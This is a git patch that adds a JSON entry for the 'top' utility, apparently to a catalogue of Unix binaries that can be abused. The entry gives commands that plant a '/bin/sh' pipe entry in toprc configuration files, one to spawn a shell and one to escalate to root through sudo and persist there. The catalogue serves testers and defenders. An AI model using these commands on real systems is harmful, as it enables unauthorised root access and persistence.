From 13ce0c6560078521a23874a8e366c31e5b11ec45 Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Wed, 29 Jan 2020 20:39:47 +0100 Subject: [PATCH] add data source for top --- data/top.json | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 data/top.json diff --git a/data/top.json b/data/top.json new file mode 100644 index 0000000..962351c --- /dev/null +++ b/data/top.json @@ -0,0 +1,16 @@ +{ + "description": "This requires that an existing configuration file is present, to create one run 'top' then type 'Wq'. Note down the actual configuration file path and use it in the below examples.", + "functions": { + "shell": [ + { + "code": "echo -e 'pipe\\tx\\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc\ntop\n# press return twice\nreset\n" + } + ], + "sudo": [ + { + "description": "This requires that the root configuration file is writable and might be used to persist elevated privileges.", + "code": "echo -e 'pipe\\tx\\texec /bin/sh 1>&0 2>&0' >>/root/.config/procps/toprc\nsudo top\n# press return twice\nreset\n" + } + ] + } +} \ No newline at end of file